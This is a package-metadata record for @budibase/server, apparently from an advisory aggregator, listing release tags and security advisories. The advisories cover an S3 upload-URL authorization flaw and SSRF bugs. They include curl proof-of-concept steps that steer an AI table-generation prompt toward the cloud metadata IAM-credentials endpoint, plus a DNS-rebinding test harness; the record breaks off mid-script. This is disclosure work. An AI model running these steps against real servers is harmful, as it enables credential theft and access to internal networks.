deload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.1/manifests"},{"name":"2.8.29-alpha.0","sha":"8406245a5cfd2ceafd2f49a3a8d930f4e585f0bc","kind":"commit","published_at":"2023-07-27T15:25:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.29-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.29-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.29-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.29-alpha.0/manifests"},{"name":"2.8.28","sha":"822b2c728313c04b97ddc32e2327c9d2e517fecf","kind":"commit","published_at":"2023-07-27T12:56:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.28","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.28/manifests"},{"name":"2.8.28-alpha.1","sha":"04bd71635144a28caf0d6ec62f18705e5aeca9a9","kind":"commit","published_at":"2023-07-26T17:01:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.28-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.28-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.28-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.28-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.28-alpha.1/manifests"},{"name":"2.8.28-alpha.0","sha":"43457a39f296519ec151715794a028e14f85088d","kind":"commit","published_at":"2023-07-26T13:42:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.28-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.28-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.28-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.28-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.28-alpha.0/manifests"},{"name":"2.8.27-alpha.0","sha":"4fa233be68be99e003258c3f2cee714888eeb11b","kind":"commit","published_at":"2023-07-26T12:51:16.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.27-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.27-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.27-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.27-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.27-alpha.0/manifests"},{"name":"2.8.27","sha":"466c61aca3404a637173c2b677436d843ca54b60","kind":"commit","published_at":"2023-07-26T11:58:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.27","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.27/manifests"},{"name":"2.8.26","sha":"aa7023cfbc86972d70387605247273dc6f45df15","kind":"commit","published_at":"2023-07-26T11:49:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.26","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.26/manifests"},{"name":"2.8.25","sha":"aa33a3d41d58f0ea4ab450b51c4da9b5f693e0f4","kind":"commit","published_at":"2023-07-26T11:37:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.25","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.25/manifests"},{"name":"2.8.23-alpha.3","sha":"1d1ae341b1a70db0f9f2a44ba829c7964cd9d995","kind":"commit","published_at":"2023-07-26T10:29:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.23-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.23-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.23-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.23-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.23-alpha.3/manifests"},{"name":"2.8.23-alpha.2","sha":"a87451ba1c7d16e2bab1ae71a542d38e9a835319","kind":"commit","published_at":"2023-07-25T18:04:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.23-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.23-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.23-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.23-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.23-alpha.2/manifests"},{"name":"2.8.23-alpha.1","sha":"a7f3836eb98dc566c4ad69db576b47fee1ad51cd","kind":"commit","published_at":"2023-07-25T16:55:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.23-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.23-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.23-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.23-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.23-alpha.1/manifests"},{"name":"2.8.23-alpha.0","sha":"7cfa0374ad0b2994fb5e71766b587151d5f86abd","kind":"commit","published_at":"2023-07-25T15:55:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.8.23-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.8.23-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.8.23-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.23-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.8.23-alpha.0/manifests"}]},"repo_metadata_updated_at":"2026-09-11T18:44:57.420Z","dependent_packages_count":3,"downloads":62960,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":1.1971322629386683,"dependent_repos_count":10.295976646711454,"dependent_packages_count":5.888476794839281,"stargazers_count":0.6740314213591712,"forks_count":1.0734678276308887,"docker_downloads_count":1.2725415073105772,"average":3.40027107679834},"purl":"pkg:npm/%40budibase/server","advisories":[{"uuid":"GSA_kwCzR0hTQS02eDlwLTRyNjctNWdqeM4ABlfE","url":"https://github.com/advisories/GHSA-6x9p-4r67-5gjx","title":"Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url`","description":"### Summary\nBudibase 3.39.7 allows a low-privilege authenticated published-app user with the built-in BASIC role to obtain arbitrary S3 pre-signed upload URLs backed by a workspace datasource's stored server-side credentials.\n\nThe affected endpoint is:\n\n`POST /api/attachments/:datasourceId/url`\n\nThe caller can control:\n```text\nbucket\nkey\n```\nand receives:\n```text\nsignedUrl\npublicUrl\n```\n\nThis lets a low-privilege published-app user mint S3 `PUT` URLs using server-side datasource credentials for attacker-chosen object destinations.\n\nSteps:\n\n1. Log in as an admin user.\n2. Create a new app/workspace.\n3. In the development app context, create an S3 datasource with valid credentials.\n4. Publish the app.\n5. Create a low-privilege user with the built-in BASIC role on the published production app ID.\n6. Log in as that BASIC user.\n7. Send:\n`POST /api/attachments/\u003cdatasourceId\u003e/url`\n\nwith:\n```json\n{\"bucket\":\"foo\",\"key\":\"bar\"}\n```\nand the published app header:\n```text\nx-budibase-app-id: \u003cpublished_app_id\u003e\n```\nObserve a successful response containing:\n```text\nsignedUrl\npublicUrl\n```\n\n### Observed result\n\nThe following behavior:\n\ndev BASIC request: 403 User does not have permission\napp publish: SUCCESS\nprod BASIC request: 200 OK\nExample confirmed runtime values from the final successful run:\n```text\nprodAppId: app_e6b4cdc6cd6949969a83ff11eee88c5a\ndatasourceId: datasource_0cec491b26a742468257c62382aa3284\npublicUrl: https://foo.s3.eu-west-1.amazonaws.com/bar\n```\nThe returned signedUrl contained standard AWS signing markers, including:\n```text\nX-Amz-Credential=bb\nX-Amz-Signature\nX-Amz-Expires=900\n```\n### Impact\n\nA low-privilege published-app user who knows a valid datasource ID can mint S3 upload URLs backed by server-side datasource credentials and choose arbitrary destination bucket and key values.\n\n### Route definition\n`packages/server/src/api/routes/static.ts:45`\nAuthorization logic\n`packages/server/src/middleware/authorized.ts`\n`packages/server/src/middleware/resourceId.ts`\nController logic\n`packages/server/src/api/controllers/static/index.ts`\nDatasource lookup\n`packages/server/src/sdk/workspace/datasources/datasources.ts`","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-26T14:07:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-6x9p-4r67-5gjx","https://nvd.nist.gov/vuln/detail/CVE-2026-54356","https://github.com/Budibase/budibase/releases/tag/3.41.3","https://github.com/advisories/GHSA-6x9p-4r67-5gjx"],"source_kind":"github","identifiers":["GHSA-6x9p-4r67-5gjx","CVE-2026-54356"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-26T15:00:13.022Z","updated_at":"2026-09-05T11:00:22.422Z","epss_percentage":0.00244,"epss_percentile":0.15515,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02eDlwLTRyNjctNWdqeM4ABlfE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02eDlwLTRyNjctNWdqeM4ABlfE","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02eDlwLTRyNjctNWdqeM4ABlfE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01ZnBqLTI4cnYtODRyN84ABkA-","url":"https://github.com/advisories/GHSA-5fpj-28rv-84r7","title":"Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist","description":"## Summary\n\nBudibase automation steps (outgoing webhook, Zapier, n8n, Slack, Discord, Make.com) make server-side HTTP requests to user-provided URLs using `node-fetch` directly, completely bypassing the IP blacklist protection that exists in the REST API integration. Additionally, the REST API blacklist itself defaults to empty when `BLACKLIST_IPS` is not configured.\n\n## Vulnerable Code\n\n### Automation Steps (No Blacklist)\n\nAll automation steps use `fetch()` directly without any IP validation:\n\n**`packages/server/src/automations/steps/outgoingWebhook.ts` line 69:**\n```typescript\nconst response = await fetch(url, request)  // No blacklist check\n```\n\n**`packages/server/src/automations/steps/zapier.ts` line 34:**\n```typescript\nresponse = await fetch(url, {method: \"post\", ...})  // No blacklist check\n```\n\n**`packages/server/src/automations/steps/n8n.ts` line 53:**\n```typescript\nresponse = await fetch(url, request)  // No blacklist check\n```\n\n**`packages/server/src/automations/steps/slack.ts` line 20:**\n```typescript\nresponse = await fetch(url, {method: \"post\", ...})  // No blacklist check\n```\n\n**`packages/server/src/automations/steps/discord.ts` line 29:**\n```typescript\nresponse = await fetch(url, {method: \"post\", ...})  // No blacklist check\n```\n\n### REST API Integration (Empty Default Blacklist)\n\n**`packages/server/src/integrations/rest.ts` line 684:**\n```typescript\nif (await blacklist.isBlacklisted(url)) {\n  throw new Error(\"Cannot connect to URL.\")\n}\n```\n\nBut `BLACKLIST_IPS` env var defaults to undefined, so the blacklist is empty:\n\n**`packages/backend-core/src/blacklist/blacklist.ts` lines 39-45:**\n```typescript\nif (blackListArray?.length === 0) {\n  return false  // Always passes when no IPs configured\n}\n```\n\n## Impact\n\n- **Automation steps**: ANY user can create automations with webhook/Zapier/n8n/Slack/Discord steps pointing to internal IPs. These completely bypass the blacklist module\n- **REST API**: Even when BLACKLIST_IPS is configured, it only blocks listed IPs. Default deployments have no protection.\n- **Cloud metadata**: `http://169.254.169.254/latest/meta-data/` accessible via any automation step\n- **Internal services**: Access databases, admin panels, Kubernetes API on private IPs\n\n## Remediation\n\n1. Apply blacklist checks to ALL outbound HTTP requests, including automation steps\n2. Add hardcoded default private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)\n3. Use a centralized HTTP client wrapper instead of direct `fetch()` calls\n4. SSRF protection should be on by default, not opt-in via environment variable","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-14T19:18:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-5fpj-28rv-84r7","https://github.com/Budibase/budibase/releases/tag/3.41.3","https://github.com/advisories/GHSA-5fpj-28rv-84r7"],"source_kind":"github","identifiers":["GHSA-5fpj-28rv-84r7","CVE-2026-35219"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-14T20:00:09.837Z","updated_at":"2026-08-28T13:00:20.047Z","epss_percentage":0.00268,"epss_percentile":0.18504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01ZnBqLTI4cnYtODRyN84ABkA-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01ZnBqLTI4cnYtODRyN84ABkA-","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.41.3","vulnerable_version_range":"\u003c 3.41.3"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01ZnBqLTI4cnYtODRyN84ABkA-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oZmh4LXc4cDgtNGhjN84ABftB","url":"https://github.com/advisories/GHSA-hfhx-w8p8-4hc7","title":"Budibase: SSRF via bare fetch() in uploadUrl during AI table generation","description":"# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation\n\n## Summary\n\nThe `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).\n\nA builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.\n\nThis is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF.\n\n## Affected Versions\n\n\u003c= 3.39.0 (current `lerna.json` version at time of analysis)\n\n## Vulnerability Details\n\n### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts:21-23\nexport async function uploadUrl(url: string): Promise\u003cUpload | undefined\u003e {\n  try {\n    const res = await fetch(url)  // No blacklist validation\n```\n\nThis is called from:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114\nasync function processAttachments(\n  entry: Record\u003cstring, any\u003e,\n  attachmentColumns: FieldSchema[]\n) {\n  function processAttachment(value: any) {\n    if (typeof value === \"object\") {\n      return uploadFile(value)\n    }\n\n    return uploadUrl(value)  // String values treated as URLs, fetched without protection\n  }\n```\n\nWhich is triggered via `generateRows()` at line 34:\n\n```typescript\n// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34\n        await processAttachments(entry, attachmentColumns)\n```\n\n### Compare with correct sibling: processUrlFile() in extract.ts\n\n```typescript\n// packages/server/src/automations/steps/ai/extract.ts:139-144\nasync function processUrlFile(\n  fileUrl: string,\n  fileType: SupportedFileType,\n  llm: LLMResponse\n): Promise\u003cExtractInput\u003e {\n  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist\n```\n\nThe `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:\n\n```typescript\n// packages/server/src/automations/steps/utils.ts:100-112\nexport async function fetchWithBlacklist(\n  url: string,\n  request: RequestInit = {}\n): Promise\u003cResponse\u003e {\n  const maxRedirects = 5\n  let nextUrl = url\n  // ...\n  for (let redirects = 0; redirects \u003c= maxRedirects; redirects++) {\n    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges\n    const response = await fetch(nextUrl, nextRequest)\n```\n\n## Proof of Concept\n\nPrerequisites: Builder-level authentication, AI feature enabled on the instance.\n\n```bash\n# Step 1: Authenticate as builder\nTOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"builder@example.com\",\"password\":\"password123\"}' \\\n  -c - | grep budibase:auth | awk '{print $NF}')\n\n# Step 2: Create an app with a table that has an attachment column\nAPP_ID=\"app_dev_xxxx\"  # Use existing app\n\n# Step 3: Use the AI table generation endpoint with a prompt designed to\n# produce internal URLs as attachment values.\n# The LLM will generate rows with attachment column values pointing to\n# internal services.\ncurl -X POST \"http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\" \\\n  -d '{\n    \"prompt\": \"Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n  }'\n\n# The server will call uploadUrl(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n# which fetches the cloud metadata endpoint without any SSRF protection.\n# The response content is saved to object storage and a URL is returned in the row data.\n\n# Step 4: Read the created row to exfiltrate the metadata response\ncurl -X GET \"http://TARGET:10000/api/$APP_ID/rows?tableId=\u003ctable_id\u003e\" \\\n  -H \"Cookie: budibase:auth=$TOKEN\"\n# The attachment URL in the response points to the saved metadata content\n```\n\n## Impact\n\n- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)\n- Internal service enumeration and data exfiltration from private network resources\n- Port scanning of internal infrastructure via timing/error differences\n- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC\n\n## Suggested Remediation\n\nReplace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`:\n\n```typescript\n// packages/server/src/utilities/fileUtils.ts\nimport fs from \"fs\"\n-import fetch from \"node-fetch\"\nimport path from \"path\"\nimport { pipeline } from \"stream\"\nimport { promisify } from \"util\"\nimport * as uuid from \"uuid\"\n\nimport { context, objectStore } from \"@budibase/backend-core\"\nimport { Upload } from \"@budibase/types\"\nimport { ObjectStoreBuckets } from \"../constants\"\n+import { fetchWithBlacklist } from \"../automations/steps/utils\"\n\n// ...\n\nexport async function uploadUrl(url: string): Promise\u003cUpload | undefined\u003e {\n  try {\n-    const res = await fetch(url)\n+    const res = await fetchWithBlacklist(url)\n\n    const extension = [...res.url.split(\".\")].pop()!.split(\"?\")[0]\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-24T21:44:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-hfhx-w8p8-4hc7","https://github.com/Budibase/budibase/pull/18866","https://github.com/Budibase/budibase/commit/72e602d68daeebe3b95b0ed87acd351a38e327d7","https://github.com/Budibase/budibase/releases/tag/3.39.4","https://github.com/advisories/GHSA-hfhx-w8p8-4hc7"],"source_kind":"github","identifiers":["GHSA-hfhx-w8p8-4hc7","CVE-2026-73307"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-09-12T11:00:57.749Z","epss_percentage":0.00398,"epss_percentile":0.33216,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZmh4LXc4cDgtNGhjN84ABftB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oZmh4LXc4cDgtNGhjN84ABftB","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZmh4LXc4cDgtNGhjN84ABftB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12NDJmLXY4eGMtajQzNc4ABftA","url":"https://github.com/advisories/GHSA-v42f-v8xc-j435","title":"Budibase: SSRF via DNS rebinding in the REST datasource integration","description":"### Summary\nBudibase's central outbound-fetch guard (`fetchWithBlacklist`) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and **pinning** the connection to the validated IP. The pin is implemented as a Node `http(s).Agent` (`makePinnedAgent`). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding.\n\nThe REST datasource integration (`@budibase/server`) calls `fetchWithBlacklist` but performs the actual request with **undici**'s `fetch`. undici does not support the Node `agent` option — it is silently ignored — and instead uses its own `dispatcher`, which re-resolves the hostname's DNS at connection time. As a result, **the validated/pinned IP is never used on the REST datasource path**, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase.\n\nAn authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services — cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints — reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data.\n\n\n### Details\n**The guard pins the validated IP via a Node agent** — `packages/backend-core/src/utils/outboundFetch.ts`:\n\n- `resolveSafePinnedIp(url)` resolves the hostname and checks every address against `isBlacklisted`, returning a single `pinnedIp` (lines ~39–53).\n- `makePinnedAgent(url, ip)` builds a **Node** `http.Agent`/`https.Agent` whose `lookup` always returns `pinnedIp`, so a node-fetch connection can only reach the validated IP (lines ~55–68).\n- `fetchWithBlacklist` passes that agent into the request: `fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) })` (lines ~186–192). Each redirect hop is re-validated and re-pinned in the loop.\n\n**The REST integration overrides the transport with undici, which ignores `agent`** — `packages/server/src/integrations/rest.ts`:\n\n- `fetch` is imported from **`undici`** (top-of-file import block, ~line 30).\n- The request is made by overriding `fetchFn` (lines ~767–793):\n  ```ts\n  const setDispatcher = (requestInput, requestUrl) =\u003e ({\n    ...requestInput,\n    dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }),\n  })\n  ...\n  response = await coreUtils.fetchWithBlacklist(url, input, {\n    fetchFn: async (requestUrl, requestInput) =\u003e\n      fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch\n  })\n  ```\n  The options object reaching `undici.fetch` is `{ ...nextRequest, agent: \u003cpinned Node Agent\u003e, dispatcher: \u003cgetDispatcher result\u003e }`. **undici uses `dispatcher` and ignores `agent`.**\n\n**The dispatcher does no IP pinning** — `packages/backend-core/src/utils/fetch.ts`:\n\n- `getDispatcher` → `createDispatcher` → (no proxy env) → `createDirectAgent` = `new Agent({ connect: { rejectUnauthorized } })` (lines ~109–114, ~161–172, ~183). This is a plain undici `Agent` with **no `connect.lookup` / no pin**, so undici resolves the hostname's DNS itself at connect time.\n\n**Net effect (TOCTOU / DNS rebinding):** `fetchWithBlacklist` validates the hostname → safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, `127.0.0.1` / `169.254.169.254` / internal IP at connect), the request lands on an internal service — exactly the gap CVE-2026-54353's pin was meant to close.\n\n**Scope of impact / why it's REST-specific:** `rest.ts` is the only caller that overrides `fetchFn` with undici. All other outbound sinks (automation `outgoingWebhook`/`n8n`/`make`/`zapier`/`discord`/`slack`, and AI-extract's `processUrlFile`) use the default node-fetch-based `fetchWithBlacklist`, which **does** honor the pinned agent and is **not** affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind).\n\n### PoC\nThe PoC drives the **real, unmodified** guard code (`outboundFetch.ts` + `fetch.ts`, copied verbatim — sha256 verified) and reproduces the exact `rest.ts` call pattern. Only the `../blacklist` module is stubbed to model the rebinding **input** (validation observes a safe public IP). Requires Node 18+.\n\n```bash\n# prerequisite: a Budibase checkout; set BB to its path\nexport BB=/path/to/budibase\nmkdir ssrf-poc \u0026\u0026 cd ssrf-poc\nSRC=\"$BB/packages/backend-core/src\"\n\n# 1) Copy the REAL guard code, verbatim (sha proves no edits)\nmkdir -p real/utils real/blacklist\ncp \"$SRC/utils/outboundFetch.ts\" real/utils/\ncp \"$SRC/utils/fetch.ts\"         real/utils/\n\n# 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP\ncat \u003e real/blacklist/index.ts \u003c\u003c'EOF'\nconst SAFE = \"203.0.113.10\" // RFC5737 TEST-NET-3, not blacklisted -\u003e validation passes\nexport async function resolveAddress(_a: string): Promise\u003cstring[]\u003e { return [SAFE] }\nexport async function isBlacklisted(a: string): Promise\u003cboolean\u003e { return a !== SAFE }\nEOF\n\n# 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern\ncat \u003e entry.ts \u003c\u003c'EOF'\nimport http from \"http\"\nimport { fetch as undiciFetch } from \"undici\"\nimport { fetchWithBlacklist } from \"./real/utils/outboundFetch\" // REAL guard\nimport { getDispatcher } from \"./real/utils/fetch\"              // REAL dispatcher\nasync function main() {\n  const server = http.createServer((_q, r) =\u003e r.end(\"INTERNAL_SECRET_RESPONSE\"))\n  await new Promise\u003cvoid\u003e(r =\u003e server.listen(0, \"127.0.0.1\", r))\n  const port = (server.address() as any).port\n  const target = `http://localhost:${port}/` // OS resolves localhost -\u003e 127.0.0.1 at connect\n  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -\u003e 203.0.113.10 (safe), pins to it`)\n\n  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).\n  const restFetchFn = (u: string, i: any) =\u003e\n    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any\n  let A: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { A = `ERROR ${e.message}` }\n  console.log(\"(A) REST/undici path  -\u003e\", A)\n\n  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.\n  let B: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { B = `ERROR ${e.message}` }\n  console.log(\"(B) node-fetch path   -\u003e\", B)\n\n  const bypass = 